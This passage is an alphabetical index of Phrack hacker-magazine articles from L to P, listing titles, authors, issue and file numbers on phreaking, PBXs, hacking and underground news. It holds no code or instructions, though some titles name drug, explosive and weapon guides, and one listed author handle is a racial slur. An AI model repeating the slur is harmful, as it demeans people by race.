"The Tried and True Home Production Method for Methamphetamine"
|
|||
|
by The Leftist. 1986. I4 F8 7k
|
|||
|
"Legal Info" by Szechuan Death. 1994. I46 F9 13k
|
|||
|
Legion of Doom! (group)
|
|||
|
authored
|
|||
|
"How We Got Rich Through Electronic Fund Transfer" 1989. I29 F7 11k
|
|||
|
"LODCOM BBS Archive Info" 1993. I43 F18 24k
|
|||
|
"LODCOM Sample Messages" 1993. I43 F19 52k
|
|||
|
"LOD Communications BBS Archive Information" 1993. I44 F22 29k
|
|||
|
co-authored
|
|||
|
"Legion of Doom and The Occult" 1991 I36 F6 24k
|
|||
|
compiled
|
|||
|
"Bank Information" 1989. I29 F6 12k
|
|||
|
"Legion of Doom and The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k
|
|||
|
Leroy Donnelly authored
|
|||
|
"Air Fone Frequencies" 1992. I39 F8 14k
|
|||
|
Lex Luthor authored
|
|||
|
"How To Hack Blackjack Part I" 1993. I43 F9 52k
|
|||
|
"How To Hack Blackjack Part II" 1993. I43 F10 50k
|
|||
|
Lex Luthor was Pro-Philed in 1992. I40 F3 36k
|
|||
|
"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
|
|||
|
"Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989.
|
|||
|
I24 F3 18k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1993. I43 F4 39k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1993. I43 F5 43k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1993. I44 F3 51k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1993. I44 F4 35k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1994. I45 F4 49k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1994. I45 F5 50k
|
|||
|
"Line Noise Part III" by Phrack Staff. 1994. I45 F6 59k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1994. I46 F3 61k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1994. I46 F4 56k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1995. I47 F2 52k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1995. I47 F3 59k
|
|||
|
"Line Noise Part I" by Phrack Staff. 1996. I48 F3 63k
|
|||
|
"Line Noise Part II" by Phrack Staff. 1996. I48 F4 51k
|
|||
|
"Line Noise" by Phrack Staff. 1996. I49 F3 65k
|
|||
|
"Line Noise" by Various Sources. 1997. I50 F3 72k
|
|||
|
"Linux TTY hijacking" by Halflife. 1997. I50 F5 15k
|
|||
|
"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k
|
|||
|
|
|||
|
LOCK PICKING
|
|||
|
"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k
|
|||
|
|
|||
|
"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
|
|||
|
"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
|
|||
|
"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k
|
|||
|
|
|||
|
LONG DISTANCE CARRIERS
|
|||
|
"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988.
|
|||
|
I17 F2 24k
|
|||
|
"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr.
|
|||
|
1988. I17 F3 26k
|
|||
|
"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k
|
|||
|
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
|
|||
|
"MCI Overview" by Knight Lightning. 1985. I2 F7 15k
|
|||
|
"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
|
|||
|
"Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
|
|||
|
"The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k
|
|||
|
|
|||
|
"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
|
|||
|
"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
|
|||
|
"Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet.
|
|||
|
1986. I9 F9 17k
|
|||
|
Lord Digital co-authored
|
|||
|
"*ELITE* Access" 1991. I36 F5 43k
|
|||
|
"Phrack Pro-Phile on Lord Digital" 1992. I42 F3 22k
|
|||
|
Lord Digital was Pro-Philed in 1992. I42 F3 22k
|
|||
|
Lotus co-authored
|
|||
|
"CompuServe Info" 1986. I8 F6 8k
|
|||
|
|
|||
|
|
|||
|
** M **
|
|||
|
|
|||
|
|
|||
|
The Mad Phone-Man authored
|
|||
|
"BELLCORE Information" 1987. I16 F2 11k
|
|||
|
"Flight of The Mad Phone-Man" (PWN) 1987. I16 F10 2k
|
|||
|
"The Mad Phone-Man and The Gestapo" (PWN) 1987. I16 F9 2k
|
|||
|
Mad Hacker 616 authored
|
|||
|
"The Art of Junction Box Modeming" I8 F5 6k
|
|||
|
Madjus (N.O.D.) authored
|
|||
|
"Cellular Info" 1993. I43 F17 47k
|
|||
|
Magic Hasan authored
|
|||
|
"Primos: Primenet, RJE, DPTX" 1988. I18 F4 15k
|
|||
|
"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
|
|||
|
"The Making of a Hacker" by Framstag. 1989. I27 F7 9k
|
|||
|
"Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
|
|||
|
"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
|
|||
|
Maldoror authored
|
|||
|
"The Universal Data Convertor" 1994. I45 F21 45k
|
|||
|
co-authored
|
|||
|
"Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k
|
|||
|
Man-Tooth authored
|
|||
|
"Homemade Guns" 1985. I2 F3 7k
|
|||
|
"Making Shell Bombs" 1986. I3 F3 3k
|
|||
|
Manny E. Farber authored
|
|||
|
"10th Chaos Computer Congress" 1994. I45 F13 23k
|
|||
|
Mastermind authored
|
|||
|
"SS7 Diverter plans" 1997. I50 F9 27k
|
|||
|
Max Nomad authored
|
|||
|
"Prack World News Special Report VI on CFP-2" 1992. I38 F12 18k
|
|||
|
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
|
|||
|
"MCI Overview" by Knight Lightning. 1985. I2 F7 15k
|
|||
|
"The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
|
|||
|
Men From Mongo authored
|
|||
|
"Real Cyberpunks" 1991 I36 F9 13k
|
|||
|
The Mentor authored
|
|||
|
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
|
|||
|
"Crashing DEC-10's" 1986. I4 F6 5k
|
|||
|
"DCL Utilities for VMS Hackers" 1988. I19 F2 23k
|
|||
|
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
|
|||
|
"Hacker's Manifesto" 1986. I7 F3 4k
|
|||
|
"Multi-User Chat Program for DEC-10's" (co-authored) 1986. I9 F7 7k
|
|||
|
"A Novice's Guide to Hacking (1989. Edition)" 1988. I22 F4 42k
|
|||
|
"Metal/General Disussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
|
|||
|
Mind Mage co-authored
|
|||
|
"Phrack Loopback" 1992. I40 F2 50k
|
|||
|
"Phrack Loopback" 1992. I41 F2 52k
|
|||
|
Minor Threat was Pro-Philed in 1994. I46 F5 12k
|
|||
|
"Mobile Tele Communications" by Phantom Phreaker. 1986. I5 F9 11k
|
|||
|
"MOD Family Portrait" <unencoded .gif> 1993. I44 F24 35k
|
|||
|
"The Moeller Papers" by Professor Moeller. 1993. I44 F10 30k
|
|||
|
Monty Python authored
|
|||
|
"Rolm Systems" 1985. I3 F2 11k
|
|||
|
"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
|
|||
|
Morgoth co-authored
|
|||
|
"CompuServe Info" 1986. I8 F6 8k
|
|||
|
"Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k
|
|||
|
mrnobody authored
|
|||
|
"DCO Operating System" 1997. I50 F14 16k
|
|||
|
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
|
|||
|
Mudge was Pro-Philed in 1996. I49 F4 8k
|
|||
|
"Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986.
|
|||
|
I9 F7 7k
|
|||
|
"My Bust Part I" by Robert Clark. 1993. I43 F12 56k
|
|||
|
"My Bust Part II" by Robert Clark. 1993. I43 F13 55k
|
|||
|
Mycroft authored
|
|||
|
"Wide Area Information Services" 1992. I38 F8 11k
|
|||
|
"The Myth and Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8 17k
|
|||
|
|
|||
|
|
|||
|
** N **
|
|||
|
|
|||
|
|
|||
|
"Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
|
|||
|
"Netmon" by daemon9. 1996. I48 F15 21k
|
|||
|
Netta Gilboa authored
|
|||
|
"HoHoCon" 1995. I47. F10 30k
|
|||
|
"Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6 13k
|
|||
|
"Network Miscellany" by Racketeer. 1992. I40 F4 32k
|
|||
|
"Network Miscellany" by Racketeer. 1992. I41 F4 35k
|
|||
|
"Network Miscellany" by Taran King. 1989. I28 F4 30k
|
|||
|
"Network Miscellany II" by Taran King. 1989. I29 F4 35k
|
|||
|
"Network Miscellany III" by Taran King. 1989. I30 F2 21k
|
|||
|
"Network Miscellany IV" by Datastream Cowboy. 1992. I38 F5 30k
|
|||
|
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
|
|||
|
"Network Progression" by Dedicated Link. 1989. I24 F10 5k
|
|||
|
"The New Editors<daemon9, ReDragon, Voyager> were Pro-Philed in 1996. I48 F5 23k
|
|||
|
"New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
|
|||
|
Night Ranger authored
|
|||
|
"Hacking Voice Mail Systems" 1991. I34 F5 19k
|
|||
|
The Nightstalker authored
|
|||
|
"Phrack Editorial on Microbashing" 1988. I19 F6 6k
|
|||
|
Nihil authored
|
|||
|
"Cracking NT Passwords" 1997. I50 F8 17k
|
|||
|
Ninja Master authored
|
|||
|
"Phreaking in Germany" 1991. I33 F7 28k
|
|||
|
Ninja NYC co-authored
|
|||
|
"How to Pick Master Locks" 1985. I1 F6 2k
|
|||
|
"Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
|
|||
|
NOD authored
|
|||
|
"Users Guide to XRAY" 1992. I42 F6 11k
|
|||
|
The Noid authored
|
|||
|
"The Blue Box and Ma Bell" 1989. I25 F7 19k
|
|||
|
"Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
|
|||
|
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
|
|||
|
"NorThern Telecom's SL-1" by Iceman. 1993. I44 F19 30k
|
|||
|
The Not authored
|
|||
|
"TCP/IP: A Tutorial Part 1 of 2" 1991. I33 F8 28k
|
|||
|
"TCP/IP: A Tutorial Part 2 of 2" 1991. I34 F8 39k
|
|||
|
"No Time for Goodbyes" by Emmanuel Goldstein. 1994. I45 F9 21k
|
|||
|
|
|||
|
NOVELL NETWORKS
|
|||
|
"Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k
|
|||
|
|
|||
|
"A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
|
|||
|
"NSFnet: National Science Foundation Network" by Knight Lightning. 1989.
|
|||
|
I26 F4
|
|||
|
"NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k
|
|||
|
|
|||
|
|
|||
|
** O **
|
|||
|
|
|||
|
|
|||
|
Oberdaemon authored
|
|||
|
"NUA List for Datex-P and X.25 Networks" 1989. I27 F4 105k
|
|||
|
The Omega co-authored
|
|||
|
"Exploring Information-America" 1992. I37 F4 51k
|
|||
|
"Quentin Strikes Again" 1994. I45 F12 28k
|
|||
|
"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
|
|||
|
"Operating The VM/SP CP" by Taran King. 1989. I27 F2 38k
|
|||
|
Opticon authored
|
|||
|
"An Introduction to The DecServer 200" 1993. I44 F22 16k
|
|||
|
Optik Nerve authored
|
|||
|
"Introduction to Octel's ASPEN" 1994. I45 F23 12k
|
|||
|
Oryan Quest authored
|
|||
|
"Fun With The Centagram VMS Network" 1986. I9 F3 4k
|
|||
|
"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k
|
|||
|
Overlord authored
|
|||
|
"Private Audience" 1986. I3 F5 13k
|
|||
|
"An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k
|
|||
|
|
|||
|
|
|||
|
** P **
|
|||
|
|
|||
|
|
|||
|
"Packet Switched Network Security" by Chris Goggans. 1992. I42 F4 22k
|
|||
|
"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k
|
|||
|
|
|||
|
PAGERS
|
|||
|
"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8
|
|||
|
"The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
|
|||
|
I47 F14 25k
|
|||
|
|
|||
|
"Paid Advertisement"(unencoded game) by R.E.M. 1994. I46 F6 62k
|
|||
|
"Paid Advertisement Part ][" (unencoded game) by R.E.M. 1994. I46 F7 45k
|
|||
|
Pain Hertz authored
|
|||
|
"Inside The SYSUAF.DAT File" 1990. I32 F8 16k
|
|||
|
"Phrack Pro-Phile of Markus Hess" 1990. I31 F2 6k
|
|||
|
Parmaster authored
|
|||
|
"Introduction to the FedLine software system" 1996. I49 F12 19k
|
|||
|
|
|||
|
PARODY'S
|
|||
|
"In Living Computer Starring Knight Lightning" 1991 I36 F3 10k
|
|||
|
"The History ah MOD" by Wing Ding. 1991 I36 F4 23k
|
|||
|
|
|||
|
Patrick Townsend authored
|
|||
|
"Non-Published Numbers" 1988. I21 F7 8k
|
|||
|
Paul Saffo authored
|
|||
|
"Consensual Realities in Cyberspace". 1989. I30 F8 11k
|
|||
|
|
|||
|
PBXs
|
|||
|
"AIS - Automatic Intercept System" by Taran King. 1987. I11 F6 16k
|
|||
|
"Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
|
|||
|
"Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
|
|||
|
"Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
|
|||
|
"The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k
|
|||
|
"Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k
|
|||
|
"SAM Security" by Spitfire Hacker. 1985. I1 F2 2k
|
|||
|
|
|||
|
pbxFreak authored
|
|||
|
"Skytel Paging and Voicemail" 1997. I50 F10 36k
|
|||
|
"PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
|
|||
|
Phantom Phreaker authored
|
|||
|
"Busy Line Verification" 1987. I11 F10 10k
|
|||
|
"Busy Line Verification Part II" 1987. I12 F8 9k
|
|||
|
"Facility Assignment & Control Systems" 1988. I19 F5 11k
|
|||
|
"Fortell Systems" 1986. I3 F6 3k
|
|||
|
"Mobile Telephone Communications" 1986. I5 F9 11k
|
|||
|
"Profile of MAX Long Distance Service" 1986. I4 F4 4k
|
|||
|
"School/College Computer Dial-Ups" 1985. I1 F8 4k
|
|||
|
co-authored
|
|||
|
"Automatic Number Identification" (co-authored) 1987. I10 F7 9k
|
|||
|
"Loop Maintenance Operations System" (co-authored) 1986. I9 F9 17k
|
|||
|
"Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989.
|
|||
|
I26 F7
|
|||
|
Phone Phanatic authored
|
|||
|
"The Myth and The Reality About Eavesdropping" 1989. I29 F8 17k
|
|||
|
"Western Union Telex, TWX, and Time Service" 1989.
|
|||
|
I30 F10 13k
|
|||
|
Phrack Accident authored
|
|||
|
"Playing Hide and Seek, Unix Style" 1993. I43 F14 31k
|
|||
|
"Phrack Classic Spotlight featuring Knight Lightning" by Crimson Death. 1990.
|
|||
|
I32 F2
|
|||
|
"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
|
|||
|
Phrack Inc. authored
|
|||
|
"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)"
|
|||
|
1989. I26 F8 20k
|
|||
|
"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1991. I34 F2 14k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1991. I35 F2 34k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1992. I37 F2 15k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1992. I38 F2 12k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1992. I39 F2 24k
|
|||
|
"Phrack Loopback" by Dispater & Mind Mage. 1992. I40 F2 50k
|
|||
|
"Phrack Loopback" by Dispater & Mind Mage. 1992. I41 F2 52k
|
|||
|
"Phrack Loopback" by Phrack Staff. 1992. I42 F2 48k
|
|||
|
"Phrack Loopback Part I" by Phrack Staff. 1993. I43 F2 38k
|
|||
|
"Phrack Loopback Part II" by Phrack Staff. 1993. I43 F3 44k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1993. I44 F2 57k
|
|||
|
"Phrack Loopback Part I" by Phrack Staff. 1994. I45 F2 31k
|
|||
|
"Phrack Loopback Part II" by Phrack Staff. 1994. I45 F3 40k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1994. I46 F2 52k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1995. I47 F2 52k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I48 F2 55k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1996. I49 F2 6k
|
|||
|
"Phrack Loopback/Editorial" by Phrack Staff. 1997. I50 F2 60k
|
|||
|
Phrack Staff authored
|
|||
|
"extract.c" 1997. I50 F16 2k
|
|||
|
"Diet Phrack Loopback" 1991 I36 F2 14k
|
|||
|
"Line Noise Part I" 1993. I43 F4 39k
|
|||
|
"Line Noise Part II" 1993. I43 F5 43k
|
|||
|
"Line Noise Part I" 1993. I44 F3 51k
|
|||
|
"Line Noise Part II" 1993. I44 F4 35k
|
|||
|
"Line Noise Part I" 1994. I45 F4 49k
|
|||
|
"Line Noise Part II" 1994. I45 F5 50k
|
|||
|
"Line Noise Part III" 1994. I45 F6 59k
|
|||
|
"Line Noise Part I" 1994. I46 F3 61k
|
|||
|
"Line Noise Part II" 1994. I46 F4 56k
|
|||
|
"Line Noise Part I" 1994. I47 F2 59k
|
|||
|
"Line Noise Part II" 1994. I47 F3 65k
|
|||
|
"Line Noise Part I" 1996. I48 F3 63k
|
|||
|
"Line Noise Part II" 1996. I48 F4 51k
|
|||
|
"Line Noise" 1996. I49 F3 65k
|
|||
|
"Phrack Loopback" 1991. I34 F2 14k
|
|||
|
"Phrack Loopback" 1991. I35 F2 34k
|
|||
|
"Phrack Loopback" 1992. I37 F2 15k
|
|||
|
"Phrack Loopback" 1992. I38 F2 12k
|
|||
|
"Phrack Loopback" 1992. I39 F2 24k
|
|||
|
"Phrack Loopback" 1992. I42 F2 48k
|
|||
|
"Phrack Loopback Part I" 1993. I43 F2 38k
|
|||
|
"Phrack Loopback Part II" 1993. I43 F3 44k
|
|||
|
"Phrack Loopback/Editorial" 1993. I44 F2 57k
|
|||
|
"Phrack Loopback Part I" 1994. I45 F2 31k
|
|||
|
"Phrack Loopback Part II" 1994. I45 F3 40k
|
|||
|
"Phrack Loopback/Editorial" 1994. I46 F2 52k
|
|||
|
"Phrack Loopback/Editorial" 1995. I47 F2 52k
|
|||
|
"Phrack Loopback/Editorial" 1996. I48 F2 55k
|
|||
|
"Phrack Loopback/Editorial" 1996. I49 F2 6k
|
|||
|
"Phrack Loopback/Editorial" 1997. I50 F2 60k
|
|||
|
"Phrack Pro-Phile on Aleph1" 1997. I50 F4 7k
|
|||
|
"Phrack Pro-Phile on Docter Who" 1993. I43 F6 15k
|
|||
|
"Phrack Pro-Phile on Mudge" 1996. I49 F4 8k
|
|||
|
"Phrack Pro-Phile on The New Editors"<daemon9,ReDragon,Voyager> 1996.
|
|||
|
I48 F5 23k
|
|||
|
"The Phrack University Dialup List" 1994. I46 F13 12k
|
|||
|
"Help for Verifying Novell Security" 1993. I43 F11 48k
|
|||
|
"Phrack Pro-Phile [of/on/Featuring]
|
|||
|
Agrajag The Prolonged" by Taran King. 1987. I12 F2 7k
|
|||
|
Aleph1" by Phrack Staff. 1997. I50 F4 7k
|
|||
|
Aristotle" by Dispater. 1992 I38 F3 6k
|
|||
|
Ax Murderer" by Crimson Death. 1988. I18 F2 4k
|
|||
|
Broadway Hacker" by Taran King. 1986. I5 F2 5k
|
|||
|
Chanda Lier" by Taran King. 1989. I24 F2 6k
|
|||
|
Chris Goggans" by S. Leonardo Spitz. 1991. I35 F3 20k
|
|||
|
Crimson Death" by Taran King. 1986. I4 F1
|
|||
|
Computer Cop" by The Grimace. 1993. I44 F5 22k
|
|||
|
Control C" by Phrack Staff. 1994. I45 F7 22k
|
|||
|
daemon9" by Phrack Staff. 1996. I48 F5 23k
|
|||
|
Dave Starr" by Taran King. 1987. I10 F2 8k
|
|||
|
Disk Jockey" by The Disk Jockey and & Dispater. 1991 I34 F3 23k
|
|||
|
Docter Who" by Phrack Staff. 1993 I43 F6 15k
|
|||
|
Emmanuel Goldstein" by Taran King. 1989. I29 F2 16k
|
|||
|
Erik Bloodaxe" by Taran King. 1989. I28 F2 15k
|
|||
|
Groups" by Knight Lightning. 1986. I6 F2 14k
|
|||
|
Karl Marx" by Taran King and Knight Lightning. 1988. I22 F2 9k
|
|||
|
Lex Luthor" by Taran King. 1992. I40 F3 36k
|
|||
|
Lord Digital" by Lord Digital. 1992 I42 F3 22k
|
|||
|
Markus Hess" by Pain Hertz. 1990. I31 F2 6k
|
|||
|
The Mentor" by Taran King. 1989. I23 F2 7k
|
|||
|
Minor Threat" by Phrack Staff. 1994. I46 F5 12k
|
|||
|
Modem Master" by Taran King. 1988. I21 F2 6k
|
|||
|
Mudge" by Phrack Staff. 1996. I49 F4 8k
|
|||
|
The Nightstalker" by Taran King. 1986. I9 F2 6k
|
|||
|
ReDragon" by Phrack Staff. 1996. I48 F5 23k
|
|||
|
Scan Man"" by Taran King. 1986. I7 F2 7k
|
|||
|
Shadow Hawk 1" by Dispater. 1992 I39 F3 8k
|
|||
|
Shooting Shark" by Crimson Death. 1991. I33 F2 16k
|
|||
|
Supernigger" by Supernigger. 1992. I41 F3 10k
|
|||
|
Taran King" by Taran King. 1988. I20 F2 14k
|
|||
|
Terminus" by Taran King. 1987. I14 F2 7k
|
|||
|
Tuc" by Taran King. 1986. I8 F2 6k
|
|||
|
Wizard of Arpanet" by Taran King. 1987. I11 F2 7k
|
|||
|
Voyager" by Phrack Staff. 1996. I48 F5 23k
|
|||
|
"The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
|
|||
|
"Phrack World News" by alhambra. 1997. I50 F15 110k
|
|||
|
"Phrack World News" by Crimson Death. 1991 I33 F11 18k
|
|||
|
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I38 F13-15 34,32,33k
|
|||
|
"Phrack World News" Parts 1-4 by Datastream Cowboy. 1992. I39 F10-13 30,27,29,29k
|
|||
|
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I40 F12-14 50,48,48k
|
|||
|
"Phrack World News" Parts 1-3 by Datastream Cowboy. 1992. I41 F11-13 46,49,43k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1992. I42 F14 29k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1993. I43 F27 24k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1993. I44 F27 22k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1994. I45 F28 17k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1994. I46 F28 38k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1995. I47 F22 38k
|
|||
|
"Phrack World News" by Datastream Cowboy. 1996. I48 F18 21k
|
|||
|
"Phrack World News" by Disorder. 1996. I49 F16 109k
|
|||
|
"Phrack World News" by Dispater. 1991. I33(F12,13 28/25k) I34 (F10/11 14/19k)
|
|||
|
I35(F10-13 27/31/34/27k)
|
|||
|
co-authored
|
|||
|
"Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
|
|||
|
"Phrack World News" by Epsilon. 1988. I18 F10-11 I19 F8 6k
|
|||
|
"Phrack World News" by Knight Lightning. 1985-90. I2 F9 I3 F10 I4 F9-11
|
|||
|
I5 F10-12 I6 F9-13 I7 F8-10 I8 F8-9 I9 F10 I10 F8-9 I11 F11-12
|
|||
|
I12 F10-11 I13 F10 I14 F8-9 I15 F6-7 I19 F7 I20 F12 I23 F11-12
|
|||
|
I24 F11-13 I25 F9 19k-11 I26 F9-11 I27 F10-12
|
|||
|
I28 F9-12 I29 F10-12 I30 F11-12
|
|||
|
"Phrack World News" by Knight Lightning and Epsilon. 1988. I21 F10 22k-11
|
|||
|
"Phrack World News" by Knight Lightning and Taran King. 1988. I22 F9 25k-12
|
|||
|
"Phrack World News" by The Mad Phone-Man. 1987. I16 F9-10
|
|||
|
"Phrack World News" by Phreak_Accident. 1990. I31 F8-10 (13,17,40k)
|
|||
|
"Phrack World News" by Shooting Shark. 1987. I16 F11 2k
|
|||
|
"Phrack World News" by Sir Francis Drake. 1987-88. I15 F8 I17 F10
|
|||
|
"Phrack World News" by The $muggler. 1987-88. I16 F12, I17 F11
|
|||
|
"Phrack World News" by The Sorceress. 1988. I17 F12 8k
|
|||
|
"Phrack World News Special Edition #1" by Knight Lightning. 1987. I14 F7 32k
|
|||
|
"Phrack World News Special Edition II" by Knight Lightning. 1988. I21 F9 78k
|
|||
|
"Phrack World News Special Edition III (SummerCon '89)" by Knight Lightning.
|
|||
|
1989. I28 F8 31k
|
|||
|
"Phrack World News Special Edition IV" <CyberView '91) by Bruce Sterling 1991.
|
|||
|
I33 F10 28k
|
|||
|
"Phrack World News Special Report VI on WeenieFest'92" by Count Zero 1992.
|
|||
|
I37 F10 14k
|
|||
|
"Phrack World News Special Report VI on CFP-2" by Max Nomad. 1992. I38 F12 18k
|
|||
|
Phreak_Accident authored
|
|||
|
"Phrack World News" 1990. I31 F8-10 (13,17,40k)
|
|||
|
"TAMS & Telenet Security" 1990. I31 F4 7k
|
|||
|
"Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k
|
|||
|
|
|||
|
PHREAKING
|
|||
|
(See also CELLULAR, COSMOS, ISDN, LONG DISTANCE CARRIERS, TELEPHONE SWITCHING,
|
|||
|
PBX)
|
|||
|
"The AT&T Mail Gateway" by Robert Alien. 1991. I34 F4 5k
|
|||
|
"The Art of Junction Box Modeming" by Mad Hacker 616. I8 F5 6k
|
|||
|
"Automatic Number Identification" by Phantom Phreaker and Doom Prophet.
|
|||
|
I10 F7 9k
|
|||
|
"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k
|
|||
|
"Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
|
|||
|
I29 F9
|
|||
|
"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
|
|||
|
"Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
|
|||
|
"Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
|
|||
|
"Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
|
|||
|
"Can You Find Out If Your Telephone Is Tapped?" by Fred P. Graham and
|
|||
|
VaxCat. 1989. I23 F9 20k
|
|||
|
"Centrex Renaissance `The Regulations'" by Jester Sluggo. 1986. I4 F7 17k
|
|||
|
"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
|
|||
|
"City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
|
|||
|
"Computer-Based Systems for Bell System Operation" by Taran King. 1989.
|
|||
|
I26 F2
|
|||
|
"Control Office Administration of Enhanced 911 Service" by
|
|||
|
The Eavesdropper. 1989. I24 F5 22k
|
|||
|
"DCO Operating System" by mrnobody. 1997. I50 F14 16k
|
|||
|
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
|
|||
|
"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
|
|||
|
"Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
|
|||
|
"Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
|
|||
|
"The Fine Art of Telephony" by Crimson Flash. 1992 I40 F7 65k
|
|||
|
"The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
|
|||
|
"Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
|
|||
|
"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989.
|
|||
|
I24 F6
|
|||
|
"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
|
|||
|
"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995.
|
|||
|
I47 F19 31k
|
|||
|
"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987.
|
|||
|
I13 F4 5k
|
|||
|
"Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
|
|||
|
"Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
|
|||
|
"International Toll Free Code list" by The Trunk Terminator 1991 I33 F6 15k
|
|||
|
"LATA Reference List" by Infinite Loop 1991 I33 F5 11k
|
|||
|
"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k
|
|||
|
"Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet.
|
|||
|
1986. I9 F9 17k
|
|||
|
